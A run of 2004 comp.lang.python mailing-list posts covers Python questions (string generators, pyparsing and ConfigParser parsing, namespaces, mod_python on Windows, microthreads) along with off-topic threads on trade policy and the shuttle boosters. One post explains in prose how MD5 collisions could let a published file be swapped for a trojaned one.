parenthesis is as unpythonic as it could be :-) In practice, it does
keep some of the proposed advantages of our little class creation
system. In theory, it's still different, because it's imperative, not
declarative. Is it a big difference? Maybe it doesn't sum up to
anything that big. I really don't know -- I'm still inclined to work
with the class declaration as a better, more concise and consistent
way to do what I want. But I concede that I'm lacking good arguments
-- it's more a 'hunch' than something that I can really argue about.
For now, it's more about "trust me, it will work" than anything
else...

-- 
Carlos Ribeiro
Consultoria em Projetos
blog: http://rascunhosrotos.blogspot.com
blog: http://pythonnotes.blogspot.com
mail: carribeiro at gmail.com
mail: carribeiro at yahoo.com


From exarkun at divmod.com  Wed Sep 15 23:52:49 2004
From: exarkun at divmod.com (exarkun at divmod.com)
Date: Thu, 16 Sep 2004 03:52:49 GMT
Subject: Incrementing a string
In-Reply-To: <pan.2004.09.15.22.08.19.894702@cox.net>
Message-ID: <20040916035249.29723.532772673.divmod.quotient.1646@ohm>

On Wed, 15 Sep 2004 15:08:20 -0700, John Velman <velman at cox.net> wrote:
> [snip]
> 
> In Python I can get from a to z with a generator as so:
> 
> >>> def gen_alph():
> ...     for i in range(97,123):
> ...         yield chr(i)
> ...
> >>> g = gen_alph()
> >>> g.next()
> 'a'
> >>> g.next()
> 'b'
> >>> g.next()
> 'c'
> 
> But it looks like going beyond z to aa and so on is (relatively) complicated.

  Not so complicated...  Here's how I might do it:

>>> def permute(s, n):
...     if n == 0:
...         yield ''
...     else:
...         for ch in s:
...             for rest in permute(s, n - 1):
...                 yield ch + rest
...
>>> def labels(s):
...     length = 1
...     while True:
...         for lab in permute(s, length):
...             yield lab
...         length += 1
...
>>> import itertools
>>> print list(itertools.islice(labels('abc'), 0, 20))
['a', 'b', 'c', 'aa', 'ab', 'ac', 'ba', 'bb', 'bc', 'ca', 'cb', 'cc', 'aaa', 'aab', 'aac', 'aba', 'abb', 'abc', 'aca', 'acb']

  Jp


From wyrmwif at tango-sierra-oscar-foxtrot-tango.fake.org  Thu Sep  2 22:49:44 2004
From: wyrmwif at tango-sierra-oscar-foxtrot-tango.fake.org (SM Ryan)
Date: Fri, 03 Sep 2004 02:49:44 -0000
Subject: Xah Lee's Unixism
References: <slrncjf0iv.7vj.a.krey@inner.h.uberluser.org>
Message-ID: <10jfmu8d0bt4n8b@corp.supernews.com>

# That is not the problem; one can do memory management and multiple
# address spaces in external hardware as well. But the MacOS architecture
# obviously wanted to be all in one address space, as did the early
# windows versions. This makes GUI easier and networking and fault
# isolation harder, but it's a valid tradeoff. :-)

Not really. It was known to be a problem from the first Multi-Finder. The original
Macs only ran one application at a time, and had to halt and return to Finder to
run another. That continued till the Multi-Finder in system 6 (or 5?), and
officially enshrined in system 7. By that time Apple already knew it was dead
end operating system and started and aborted a number of successors, and continued
warnings that all the low level interfaces would disappear Real Soon Now. Even
implementing on the PPC caused all sorts of compatiability problems.

On the other hand I'm still running 68K programs on MacOSX.

--
SM Ryan http://www.rawbw.com/~wyrmwif/
I have no idea what you just said.
I get that alot.


From peter at engcorp.com  Fri Sep 24 16:22:55 2004
From: peter at engcorp.com (Peter Hansen)
Date: Fri, 24 Sep 2004 16:22:55 -0400
Subject: Module Pygame - "FadeOut" text
In-Reply-To: <Xns956EA2C3C476BaskariaddressNonVali@207.35.177.135>
References: <Xns956E4F8F8C192askariaddressNonVali@207.35.177.135>
	<mailman.3868.1096052483.5135.python-list@python.org>
	<Xns956EA2C3C476BaskariaddressNonVali@207.35.177.135>
Message-ID: <kIudncaur-OCH8ncRVn-iA@powergate.ca>

Askari wrote:
> "Terry Reedy" <tjreedy at udel.edu> wrote:
>>There is a separate mailing list for Pygame, a third-party package.
>>It can be accessed as a newsgroup via news.gmane.org
>>as gmane.comp.python.pygame.
>>
> I DON'T WANT use this mail list!  I don't want subscribe anythink for 
> this info! ... News group "comp.lang.python" is the best place that I 
> find with no subcribtion!

Feel free to post here... you will be limiting your responses
to a very small subset of the potential responses you'd get
if you used the darn mailing list, but nobody is forcing you
to use the mailing list.  By all means post here.  Just don't
complain if you get few or no responses.

> Understand Terry! (it's not the first time that you send that message)

With good reason.  I'd be surprised if he sends it again, for
you, however, after your incredible rudeness to someone trying
to help.

> And why I can't request info for a third-party package on this group? 
> It's python, a "third-party package", yes, but it's too python... :-|

See above.  This newsgroup is very general and does handle questions
on the entire range of Python topics, but for certain things the
*best* advice you'll get here is to check the specific mailing list
for the package you are using.  Whether it's Zope, wxPython, Twisted,
or yes, even PyGame, you'll do much better with the mailing list.

But *nobody is forcing you to subscribe*, just providing helpful
advice in a friendly manner.  You were, IMHO, way out of line in
your reaction to Terry's well-meaning suggestion.

-Peter


From nigel.king at orthogonsystems.com  Wed Sep 29 13:38:06 2004
From: nigel.king at orthogonsystems.com (Nigel King)
Date: Wed, 29 Sep 2004 18:38:06 +0100
Subject: multiple instance on Unix
Message-ID: <52324E76-123E-11D9-B04E-0003938543A0@orthogonsystems.com>

Hi,
I have (my son has!) implemented protection against multiple instances 
causing havoc by creating a directory. This fails if it exists and thus 
in a single instruction one gets both the acquire and the test.

Windows has it's mutex which solves the problem. Is there any better 
version for UNIX.

Thanks

Nigel King



From peter at engcorp.com  Tue Sep 28 15:55:33 2004
From: peter at engcorp.com (Peter Hansen)
Date: Tue, 28 Sep 2004 15:55:33 -0400
Subject: os.system  vs. Py2Exe
In-Reply-To: <81a41dd.0409280200.1a74edd1@posting.google.com>
References: <81a41dd.0409280200.1a74edd1@posting.google.com>
Message-ID: <Rd2dneVBGfQrXMTcRVn-jQ@powergate.ca>

Lad wrote:
> I used Py2exe to compile my script( I use XP).
> The compiled script works OK on my XP where Python is installed.
> But when I install the compiled exe to another computer,

What operating system is the other computer running?


From http  Sun Sep 12 22:46:52 2004
From: http (Paul Rubin)
Date: 12 Sep 2004 19:46:52 -0700
Subject: MD5 and SHA cracked/broken...
References: <slrnck6boc.l77.mlh@furu.idi.ntnu.no>
	<slrncka03t.2a1q.kirk@eyegor.jobsluder.net>
Message-ID: <7xacvuyjfn.fsf@ruckus.brouhaha.com>

Kirk Job-Sluder <kirk at eyegor.jobsluder.net> writes:
> It should also be mentioned that "broken" in terms of Cryptography is a
> bit different from how we think about computer security in general.
> "Broken" in this case means that there exists a known algorithm that
> makes it easier than a brute force attack to violate one or more of the
> desired properties for a good hash algorithm.  It DOES NOT mean that a
> practical exploit exists for MD5 that permits one to slip a trojan into
> downloaded files or crack a password file.  There are easier ways to
> plant a trojan than to create an identical MD5 hash, or crack a password
> file than to try to break preimage resistance.  

You don't need preimages to plant a trojan.  If you can create mere
collisions, you can create two files, one with a trojan and one
without a trojan, that have the same md5sum.  You publish the
non-trojan one, people inspect it carefully and start using it, and
download sites say that its md5sum should be so-and-so.  Now you can
replace the non-trojan file with the trojan version and the md5sum
will still verify.


From davidf at sjsoft.com  Fri Sep  3 15:52:40 2004
From: davidf at sjsoft.com (David Fraser)
Date: Fri, 03 Sep 2004 21:52:40 +0200
Subject: What about an EXPLICIT naming scheme for built-ins?
In-Reply-To: <mailman.2825.1094216861.5135.python-list@python.org>
References: <mailman.2825.1094216861.5135.python-list@python.org>
Message-ID: <chai28$pd8$1@ctb-nnrp2.saix.net>

Marco Aschwanden wrote:
> I just read the changes for 2.4 and while scanning the list the past 
> tense built-ins got my attention:
> 
> sorted() - a new builtin sorted() acts like an in-place list.sort() but 
> can be used in expressions, as it returns a copy of the sequence, sorted.
> 
> reversed() - a new builtin that takes a sequence and returns an iterator 
> that loops over the elements of the sequence in reverse order (PEP 322)
> 
> 
> sort() works in-place.
> reverse() works in-place.
> 

How about reversed() returning a sequence, like sorted does, but adding 
an iterator function called riter or reverseiter to iterate over 
sequences in reverse order. That would then be similar to the iter 
builtin. You could have a sortediter as well

David


From ml at dynkin.com  Tue Sep 14 10:37:33 2004
From: ml at dynkin.com (George Yoshida)
Date: Tue, 14 Sep 2004 23:37:33 +0900
Subject: Style conventions for Python code
In-Reply-To: <4146fe4c$0$22760$db0fefd9@news.zen.co.uk>
References: <4146fe4c$0$22760$db0fefd9@news.zen.co.uk>
Message-ID: <ci6vlv$1ahn$1@dojima-n0.hi-ho.ne.jp>

Will McGugan wrote:

> Is there a recommended coding style for Python documented anywhere? 
> Fortunately there will be no endless debates on proper indentation and 
> where to put braces ;) But I wonder if there is explicit 'Pythonic' 
> naming conventions and ways of structuring code..

PEP-8 is exactly what you're looking for!

   Style Guide for Python Code
   http://www.python.org/peps/pep-0008.html

- george


From raoul.daruwala at gmail.com  Tue Sep 21 18:41:56 2004
From: raoul.daruwala at gmail.com (Raoul)
Date: 21 Sep 2004 15:41:56 -0700
Subject: Pyparsing...
References: <7b22ae5b.0409201639.7837fca9@posting.google.com>
	<A6SdnQwInMbf183cRVn-qQ@comcast.com>
Message-ID: <b668fd07.0409211441.64bc0f0c@posting.google.com>

Larry,

This is an elegant little python! Thanks for you help. I am actually
trying to use pyparsing, not just in my project but as a learning
experience. I think pyparsing has a lot of potential.

I'm making progress but I am running into bugs with my pyparsing
grammar.

R-S

"Larry Bates" <lbates at swamisoft.com> wrote in message news:<A6SdnQwInMbf183cRVn-qQ at comcast.com>...
> Note: The Cellheader layout and the cell data
> layout don't appear to match properly (when
> compared to the data you show in your sample
> dictionary).  My solution follows the cellheader
> layout.
> 
> The format of your data file is perfect to be
> parsed with ConfigParser with [QC1] as section
> name and Type, NumberCells, etc. as options.
> 
> import ConfigParser
> 
> inputfilename='data.ini' # Insert input filename
> INI=ConfigParser.ConfigParser()
> INI.read(inputfilename)
> data={'type': None, 'numbercells': None, 'table':{}}
> 
> section='QC1'
> option='type'
> try: data['type']=INI.getint(section, option)
> except:
>     #
>     # Insert code to handle missing type option
>     #
>     pass
> 
> option='numbercells'
> try: data['numbercells']=INI.getint(section, option)
> except:
>     #
>     # Insert code to handle missing numbercells option
>     #
>     pass
> 
> option='cellheader'
> try: data['cellheader']=INI.get(section, option)
> except:
>     #
>     # Insert code to handle missing numbercells option
>     #
>     pass
> 
> CELLS=[x for x in INI.options(section)
>        if x.startswith('cell')]
> 
> #
> # Must get rid of 'cellheader' or maybe change the key name?
> #
> CELLS=[x for x in CELLS if x != 'cellheader']
> 
> celldatalist=[]
> for CELL in CELLS:
>     celldata={}
>     x, y, probe, plen, atom, index=INI.get(section, CELL).split(' ')
>     celldata['cell']=int(CELL[4:])
>     celldata['x']=int(x)
>     celldata['y']=int(y)
>     celldata['plen']=plen
>     celldata['atom']=int(atom)
>     celldata['index']=int(index)
>     celldatalist.append(celldata)
> 
> data['table']=celldatalist
> 
> 
> This is tested so it should be close (I do this quite a lot in
> my code).
> 
> You could wrap a loop around the outside of this if you have
> multiple QC instances.
> 
> Hope it helps.
> Larry Bates
> 
> 
> 
> "Raoul" <raoulsam at yahoo.com> wrote in message 
> news:7b22ae5b.0409201639.7837fca9 at posting.google.com...
> >I am futzing with pyparsing and for the most part enjoying it.
> > However, I'm running into trouble with whitespace delimited lists. I
> > get data in blocks like this:
> >
> > [QC1]
> > Type=15
> > NumberCells=1925
> > CellHeader=X Y PROBE PLEN ATOM INDEX
> > Cell1=132 0 N 25 0 132
> > Cell2=652 0 N 25 0 652
> > Cell3=648 0 N 25 0 648
> > ...
> >
> > I'd like to be able to parse this structure.
> >
> > Ideally, I'd like for a QC node, to have a dictionary with
> > {'number':1
> > 'type' : 15
> > 'NumberCells' : 1925
> > 'Table' : [{'cell':1,'x':132,'y':0,'probe':25,'plen':0,'atom':132',
> > 'index':None}, {'cell':2 ....
> >
> > I'm running into the following problems:
> >
> > 1. I can't seem to use delimitList() to define a rule that parses the
> > right hand side of the table into
> > ['x','y','probe','plen','atom','index']. I think it's because my lists
> > are whitespace delimited.
> >
> > 2. I can't seem to convert value into an integer, for example, I can
> > parse each row in the table to :
> >  ['Cell','2','=', '652 0 N 25 0 652']
> > but am unable to get the setParseAction(see below) to convert and
> > substitute in the right value.
> >
> > Any hints will help a great deal. Thanks...
> >
> > Raoul-Sam
> >
> >
> > I have some ugly non functional code below..
> >
> > def cdffile_BNF():
> >    global cdfbnf
> >
> >    if not cdfbnf:
> >        makeint = Word(nums).setParseAction( lambda s,l,t:[int(t[0])])
> >        equals = Literal("=").suppress()
> >        nonequals = "".join( [ c for c in printables if c != "=" ] ) +
> > " \t"
> >
> >        key = Word(nonequals)
> >        value = Word(nonequals)
> >        kvp = Group(key + equals + restOfLine)
> >        kvpBlk = OneOrMore(kvp)
> >
> >        headerCell = delimitedList(Word(alphanums)," ")
> >        rowHeader = Combine( Literal("CellHeader") + equals +
> > headerCell)
> >        row = Combine(Literal("Cell").suppress() + restOfLine)
> >        rows = OneOrMore(row)
> >
> >        CDF = Literal("[CDF]")
> >        CDFBlk = Group(CDF + kvpBlk)
> >
> >        CHIP = Literal("[CHIP]")
> >        CHIPBlk = Group(CHIP + kvpBlk)
> >        CHIPBlk.setResultsName("chip")
> >
> >        QC = Combine( Literal("[QC").suppress() + Word(nums) +
> > Literal("]").suppress())
> >        QCBlk = QC + kvp + kvp + rowHeader + rows
> >
> >        cdfbnf = CDFBlk + CHIPBlk + QCBlk
> >
> >    return cdfbnf


From aleaxit at yahoo.com  Fri Sep  3 02:11:35 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Fri, 3 Sep 2004 08:11:35 +0200
Subject: namespace question
References: <OAFZc.303096$gE.251089@pd7tw3no>
Message-ID: <1gji17e.osu4j01dj6qkmN%aleaxit@yahoo.com>

Elaine Jackson <elainejackson7355 at home.com> wrote:

> I would like to be able to write a function f, which will live in a module M,
> and will call a function g, such that, when f is imported from M into the
> interpreter, and invoked there, its invokation of g will return the
> interpreter's global namespace. Is there a way to do this and, if so, how?
> Muchas gracias for any and all assistance.

There is no "interpreter global namespace".  If you mean the namespace
of the calling module (which could be the interactive session's __main__
if that's who did the importing) you can get there via sys._getframe --
it's meant for debugging purposes (note the leading underscore) but it
will work.  If you mean the namespace of __main__ (which could be the
interactive session if there is one) you can get the __main__ module
anywhere as sys.modules['__main__'] and a vars call around that will
give the module's dictionary (which is, I assume, what you mean by
namespace).


Alex


From davidf at sjsoft.com  Thu Sep  2 17:30:05 2004
From: davidf at sjsoft.com (David Fraser)
Date: Thu, 02 Sep 2004 23:30:05 +0200
Subject: Installation of mod_python 3.1.3 on Apache 2.0.50 on Windows
 Me/Win2k
In-Reply-To: <39cbe663.0409021109.6c3983b@posting.google.com>
References: <39cbe663.0408290850.14452ab9@posting.google.com>
	<cgvhq2$pur$1@ctb-nnrp2.saix.net>
	<39cbe663.0409021109.6c3983b@posting.google.com>
Message-ID: <ch83cu$ndc$1@ctb-nnrp2.saix.net>

Piet wrote:
> David Fraser <davidf at sjsoft.com> wrote in message news:<cgvhq2$pur$1 at ctb-nnrp2.saix.net>...
> 
>>This error was found when installing the original mod_python 3.1.3 for 
>>Windows installer on a non-Admin install of Python. You'll probably find 
>>that the registry does exist, but under HKEY_CURRENT_USER, not 
>>HKEY_LOCAL_MACHINE.
>>
>>In fact mod_python has actually been installed correctly, but the 
>>instructions about changing your apache configuration have not been 
>>given, and the mod_python library hasn't been copied into the Apache 
>>directory.
>>
>>These issues should all be fix in the latest win32 build of mod_python 
>>available from 
>>http://davidf.sjsoft.com/files/mod_python-3.1.3-1.win32-py2.3.exe
>>
>>Need to get Grisha to release this...
>>
>>I would recommend removing the Scripts/win32_postinstall.py file before 
>>running it...
>>
>>Hope that helps, if you have errors report them here or on the 
>>mod_python mailing list.
>>
>>David
> 
> 
> Hi David.
> The new version worked, and I am looking forward exploring server-side
> cgi-scripting with my favorite programming language. Any reason why
> the new installer is not released?
> Thx
> Peter

Hi Peter

I haven't had that much time to devote towards getting people to test 
and give a thumbs up which is a requirement before a release.

So if you want to help please sign up to the mod_python list and say 
what happened to you...

Thanks for the feedback

Cheers
David


From elainejackson7355 at home.com  Thu Sep 16 22:43:15 2004
From: elainejackson7355 at home.com (Elaine Jackson)
Date: Fri, 17 Sep 2004 02:43:15 GMT
Subject: what's the deal of "_" in Python?
References: <mailman.3416.1095372913.5135.python-list@python.org>
Message-ID: <7bs2d.447484$gE.373574@pd7tw3no>

The python interpreter understands "_" as a reference to the last value it
computed, exactly analogous to "%" in the maple interpreter if you're familiar
with that. I think it's also used as a (loop-) variable name with the
implication that the variable will never be referenced. (Personally I like to
use the name "anonymous" for that purpose.)




From claird at lairds.us  Sat Sep 25 09:08:05 2004
From: claird at lairds.us (Cameron Laird)
Date: Sat, 25 Sep 2004 13:08:05 GMT
Subject: Don't let your babies grow up to be programmers
References: <mailman.3318.1095180577.5135.python-list@python.org>
	<278de0e.0409231337.1a032135@posting.google.com>
	<ddd9l056mf2ag7m97uhk6pc10h5m93fnrl@4ax.com>
	<1gknx0k.m09llxutwktbN%aleaxit@yahoo.com>
Message-ID: <g66g22-hrr.ln1@lairds.us>

In article <1gknx0k.m09llxutwktbN%aleaxit at yahoo.com>,
Alex Martelli <aleaxit at yahoo.com> wrote:
			.
			.
			.
>South Park movie?!  In such a case the US is basically stating, "we're
>the 500-pounds gorilla, rules apply to lesser countries, not us, so
>there".  And that's wrt their closest neighbor and friend -- AND for
>incredibly myopic reasons too.  Canada's cheap wood obviously HELPS
>crucial US industries such as construction (US house construction uses
>MUCH more wood than we do in Europe)... but the wood-loggers' lobby is
>strong enough in a key swing state, Oregon (and to some extent
>Washington, too, I believe), to perhaps swing the next presidental
>election, if it's as close as many think... so, forget the rules and all
>the nice words, might makes right.
>
>_Some_ US observers are clear-sighted enough to see how much hate this
>kind of behavior builds up in the world over the years.  But obviously
>not enough.
>
>The cases of cotton and sugar, with subsidies and help from tariffs
>amounting to over 100,000 dollars per each of the few thousands of lucky
>US cotton and sugar growers who benefit from it, are other good
>examples.  They're likely to end up in front of the WTO, but it doesn't
>really matter because there, for once, the US isn't even _claiming_ an
>antidumping issue.  Similarly for the huge hidden subsidy to growers of
>fruit and even rice (!) in the parched fields of Southern California in
>terms of essentially free water in ridiculous quantities (that's
>unlikely to become a trade/subsidy issue, but with good water growing
>scarcer in the region it's been causing tension with Mexico for a while,
>and the tension is growing) - and at a time when millions of Californian
>in cities have had problems with water scarcity, too.
			.
			.
			.
While we're piling on, Alex, let's review the political message
this conveys to third-world citizens:  involve yourself in 
terrorism and/or drug trafficking, and the US pays attention, 
and spreads money around; but clean up your economy, promote
civic improvement, hold just elections, institute the rule of
law, and (as has more or less happened throughout the Caribbean,
Egypt, Chile, Sri Lanka, various African countries, ...) the US
will be sure to slap you down for threatening its sugar or 
textile or produce or programming or ... protectorates.  Is
"Globalization" just advertising for a refinement of imperialism?
Of course not, to those of us fundamentally aligned with the
progressivism on display in, to echo your example, *The Econo-
mist*.  At the same time, US external political policies could
hardly do more to convince the world *the US believes this
reactionary claptrap*.  It makes one weep.

I struggle to bring this all back on-topic.  Mention of <URL:
http://www.pbs.org/cringely/pulpit/pulpit20040923.html > is my
current attempt.


From dalcolmo at vh-s.de  Tue Sep 21 09:42:53 2004
From: dalcolmo at vh-s.de (Josef Dalcolmo)
Date: Tue, 21 Sep 2004 13:42:53 +0000
Subject: up with PyGUI!
References: <mailman.3318.1095180577.5135.python-list@python.org>
	<m3vfeg69xp.fsf@g2ctech.com> <2qq5adF133c5kU1@uni-berlin.de>
	<m3isaf1xki.fsf@g2ctech.com> <2qvc54F143difU1@uni-berlin.de>
	<m3k6utyn47.fsf@g2ctech.com>
	<mailman.3456.1095433403.5135.python-list@python.org>
Message-ID: <20040921134253.000028d1@titan>

on Fri, 17 Sep 2004 12:02:17 -0300
Carlos Ribeiro <carribeiro at gmail.com> wrote:

CR> As far as I know, no open source tool is close to the quality that
CR> professional tools like Adobe Acrobat can give to you. Part of the

Maybe as far as features are concerned. However I changed from MS-Word + Acrobat to OpenOffice.org on a large document (output is in PDF format), simply because Acrobat (and pdfwriter) kept choking (crashing) on that particular document, while OOo never gave me that kind of trouble.

- Josef


From me at privacy.net  Fri Sep 24 02:01:13 2004
From: me at privacy.net (Richard Hanson)
Date: Thu, 23 Sep 2004 23:01:13 -0700
Subject: [OT] "Pre-announcement" of Python-based "computing appliance"
	project.
References: <1n04l012a3f2vktokrc0gi7ji13tuvjkd9@4ax.com>
	<864d370904092305026f41795@mail.gmail.com>
	<mailman.3821.1095980182.5135.python-list@python.org>
	<itq6l0hehkhv8psdin3unri3aba268i63u@4ax.com>
	<ZsM4d.5518$Ec4.508@trndny04>
Message-ID: <9ob7l05i403brs31eq9nlf03co76pbhli2@4ax.com>

[Top-posting rearranged -- it helps me to follow the flow; I'm an old
guy... :-) ]

David Lees wrote:

> Richard Hanson wrote:
> 
> > (I've already thought of Doors... -- doors are more useful than
> > windows, aren't they? ;-) )
> 
> You might want to skip doors.  There is already an overly complex 
> requirements tool by that name:
> http://www.telelogic.com/products/doorsers/doors/index.cfm

Interesting. You're quite right, though; that's the opposite way I'm
a'heading. "Simple is better than complex," and all.

Although... uhh... I *was* typing with my tongue firmly planted in my
cheek in my line you quoted, above. Perhaps the recent "naming
threads" for another project should have alerted me to be more obvious
that I was merely kidding about "Doors"  -- sorry about that! (Why
peer through murky Windows when you can walk through wide-open
Doors?... ;-) )

[Nota bene: There's a "winky" after that last line, immediately above,
too. :-) ]

In any event, before this thread gets *too* out of hand with names,
let me say explicitly that I'm concerned with getting the project
going -- names can come later.

Thanks very much, though!


what-*have*-I-started'ly y'rs,
Richard Hanson

-- 
sick<PERI0D>old<P0INT>fart<PIE-DEC0-SYMB0L>newsguy<MARK>com


From john.thingstad at chello.no  Fri Sep  3 18:10:12 2004
From: john.thingstad at chello.no (John Thingstad)
Date: Sat, 04 Sep 2004 00:10:12 +0200
Subject: Xah Lee's Unixism
References: <10jc7cu7e57koaa@corp.supernews.com>
	<20040901.2343.57633snz@dsl.co.uk>
	<YLednXSn7obciqrcRVn-og@powergate.ca> <41376B82.C6A202FC@yahoo.com>
	<P5GdnU8q-8Sw66rcRVn-qg@powergate.ca>
	<0g0fj0dvbthf0cj224bdt6ikqsv2vs5jlb@4ax.com>
	<ur7pks59p.fsf@mail.comcast.net>
	<8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net>
	<3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com>
	<u8ybrrzqd.fsf@mail.comcast.net>
	<ruehj05n8i2afsgnk9frq9bp98n520jl55@4ax.com>
	<uzn47qezk.fsf@mail.comcast.net>
	<rbnhj01438rv46f2op40gsdkcvfh7u6sgo@4ax.com>
	<uoeknqbo0.fsf@mail.comcast.net>
Message-ID: <opsdrujag8pqzri1@mjolner.upc.no>

On Fri, 03 Sep 2004 15:34:39 -0600, Anne & Lynn Wheeler <lynn at garlic.com>  
wrote:

> Alan Balmer <albalmer at att.net> writes:
>> I'm not a fan of Mr Hatch, but blaming him for the shuttle disaster(s)
>> is somewhat over the top. Why not blame President Bush? That's the
>> popular thing nowadays.
>
> i never made any referrence to people or personalities ... somebody
> else did.
>
> i just repeated the claims after the disaster about majority of the
> other launch things were single section and barged to the launch site
> (as well as the alternative booster proposals).
>
> the issue of the gaskets is pretty well established as being required
> for the sectional manufactoring ... predicated on the dimensional
> restrictions on overland train transportation ... that was perceived
> to have been a pretty unique ... when other major deliverables have
> been built in single section and barged to launch site.
>
> from a purely fucntional standpoint to somebody's leap with regard to
> personabilities ... is somebody else's doing.
>
> i would say that any argument about the personality issues
> ... shouldn't creap into purely straight forward issue about whether
> all manufactoring assemblies require sectioning because of
> transportation restrictions. lots of assemblies are made in single
> sections and barged to florida.
>
> i can see taking issue with somebody (else) over their possible
> personality assertions ... but that shouldn't also result in comments
> about whether sectioning is required for all possible modes of
> transportation.
>

Norton Trikol alto buildt the Titan solid rocket booster along
simular lines. I has a resonably good record.
A extra gasket was added since it was supposed to be used
for human flight. Fron a engeneering stanpoint I can't see how you
are supposed to mold solid rocket fuel fot the booster in one piece.
But then I am not a rocket scientist.
Anyhow space flight is a riscy endevor. If it wasn't the booster then it
would have been something else. One in every 50 or so launces will fail.
Saying it was as good as murder is prepostrious.
The peaple who launced knew the riscs. Sitting attom of 10000 liters of
fuel undergoing a controlled explosion will probaly never be entirely safe.

-- 
Using M2, Opera's revolutionary e-mail client: http://www.opera.com/m2/


From anthonybaxter at gmail.com  Fri Sep  3 05:06:18 2004
From: anthonybaxter at gmail.com (Anthony Baxter)
Date: Fri, 3 Sep 2004 19:06:18 +1000
Subject: Are decorators really that different from metaclasses...
In-Reply-To: <loom.20040902T173546-648@post.gmane.org>
References: <e69d3ed204082608183634bab@mail.gmail.com>
	<cglg26$ehg$3@sea.gmane.org>
	<e69d3ed2040827083448c31d45@mail.gmail.com>
	<mailman.2548.1093646396.5135.python-list@python.org>
	<cgosmb$ki0$0$216.39.172.122@theriver.com>
	<mailman.2562.1093697125.5135.python-list@python.org>
	<HBF.20040901iia9@bombur.uio.no> <ch5mkq$tb1$1@sea.gmane.org>
	<20040902024221.GA3626@unpythonic.net> <ch6umj$74i$1@sea.gmane.org>
	<20040902134641.GE24397@unpythonic.net>
	<loom.20040902T173546-648@post.gmane.org>
Message-ID: <e69d3ed204090302065c15e0a1@mail.gmail.com>

On Thu, 2 Sep 2004 15:48:19 +0000 (UTC), Steven Bethard
<steven.bethard at gmail.com> wrote:
> Not to defend Paul's proposal, which I, like many others on this list, still
> find counterintuitive and a break with the current syntax/semantics of Python,
> but I don't think it's fair to say that his proposal will change much
> currently legal code.  Grep the Python source for functions with __*__ local
> variable assignments and tell me how many you find.  I wasn't able to find
> any, though perhaps my skills with grep are not up to par...  For that matter,
> grep any Python source for functions like this.  I'd bet you find the same.

My arguments against it were nothing to do with breaking existing
code, but were to do with the half-baked nature of the proposal. It's
fairly clear (to me) that it's really not been thought through - Jeff
Epler's code samples showed some of the stupid results that this
proposal would produce.

I stand by my earlier comments that this is all just hand-waving and
fluff. There's been little concrete effort by Paul to actually spell
out his proposal.


From fakeaddress at nowhere.org  Fri Sep 17 04:04:25 2004
From: fakeaddress at nowhere.org (Bryan Olson)
Date: Fri, 17 Sep 2004 08:04:25 GMT
Subject: Microthreads without Stackless?
In-Reply-To: <8cf9f521.0409162213.105d321e@posting.google.com>
References: <mailman.3171.1094844869.5135.python-list@python.org>
	<18282ecb.0409120634.5ba044ee@posting.google.com>
	<Mtw1d.20732$kV6.18121@newssvr29.news.prodigy.com>
	<18282ecb.0409151755.47b691e2@posting.google.com>
	<Ms92d.16135$QJ3.8331@newssvr21.news.prodigy.com>
	<8cf9f521.0409162213.105d321e@posting.google.com>
Message-ID: <dUw2d.22139$mo4.11260@newssvr29.news.prodigy.com>

David Mertz, Ph.D. wrote:
 > It's too bad you didn't bother to READ my article at:
 >
 >   http://gnosis.cx/publish/programming/charming_python_b5.html
 >
 > This is distinct from my other article that covers "weightless
 > threads", though there is some overlap in the concepts.

I spent a couple hours going through the "weightless threads"
paper, and looking up the background including that one.  I had
previously concluded that Python generators could not implement
what I wanted from real co-routines, so I was interested in
seeing if there was a reasonable implementation.

 > While you do need a scheduler to control the branching, once you have
 > this you get EXACTLY the same thing as coroutines in other languages.
 > Specifically, you can branch from any generator, into the body of
 > whatever other generator you wish.

Great; I'd love to have the same thing as real co-routines.
Here's the problem:  I have a server that currently handles
multiple clients using one thread per connection.  When a
client-handler needs to send or receive data, it simply reads or
writes to a file-like thing.

Now I want to handle twenty thousand clients, so I want to
replace my threads with co-routines.  With real co-routines, I
can easily do that.  I write an asynchronous I/O handler routine
that can wait on many files at once, perhaps with os.select().
I over-ride the file read and write procedures to initiate the
I/O, then yield.  When I/O is ready on a file, the I/O handler
can switch back to the client-handler.

Importantly, I do *not* have to re-write all the functions in
every call chain that leads to a read or write.  I just need the
I/O handler (which includes a kind of scheduler) at the top, and
I over-ride my file I/O calls at the bottom.

After reading your articles I am unable to see how generators,
even with your scheduler, offer any such capability.


-- 
--Bryan


From tzot at sil-tec.gr  Wed Sep 29 03:29:44 2004
From: tzot at sil-tec.gr (Christos TZOTZIOY Georgiou)
Date: Wed, 29 Sep 2004 10:29:44 +0300
Subject: [OT] "Pre-announcement" of Python-based "computing
	appliance"project.
References: <1n04l012a3f2vktokrc0gi7ji13tuvjkd9@4ax.com><89adnWTWC6JVscncRVn-uw@giganews.com><enp8l09sql1ikh98s530erp5b79hfpf14o@4ax.com><du7d60bbhah.fsf@amadeus.cc.tut.fi><10l90qcihqrjba1@corp.supernews.com>	<du78yayby1a.fsf@mozart.cc.tut.fi>	<cj4ul0$nt5$1@sea.gmane.org>	<mailman.3916.1096160356.5135.python-list@python.org>
	<oh7cl05ph81r8vd4ih33laqibri95qn5p9@4ax.com>
	<mailman.3920.1096177284.5135.python-list@python.org>
Message-ID: <v0pkl01gvtqo980tu3vj153d0s8iggmus1@4ax.com>

On Sun, 26 Sep 2004 01:36:23 -0400, rumours say that Stephen Waterbury
<golux at comcast.net> might have written:

>>>and since
>>>the observer/observable paradigm is fundamental to science,
>> 
>> Are you sure about that? ;-)
>
>Well, at least until someone shows me how to do an experiment
>without observing something.

Pretend you're igniting a bomb fuse: start the experiment, duck, and run
away :)
-- 
TZOTZIOY, I speak England very best,
"Tssss!" --Brad Pitt as Achilles in unprecedented Ancient Greek


From clifford.wells at comcast.net  Sun Sep 19 17:38:15 2004
From: clifford.wells at comcast.net (Cliff Wells)
Date: Sun, 19 Sep 2004 14:38:15 -0700
Subject: Determining if a client PC has an Internet connection
In-Reply-To: <cikrlm$qf$1@epityr.hut.fi>
References: <mailman.3489.1095578305.5135.python-list@python.org>
	<cikrlm$qf$1@epityr.hut.fi>
Message-ID: <1095629896.31957.325.camel@devilbox.devilnet.internal>

On Sun, 2004-09-19 at 23:54 +0300, Tuure Laurinolli wrote:
> Cliff Wells wrote:
> 
> > I'm writing an application that needs to know if an Internet connection
> > is available.  Basically, I want to have something similar to what a lot
> > of email clients have, where the app can work either in "online" or
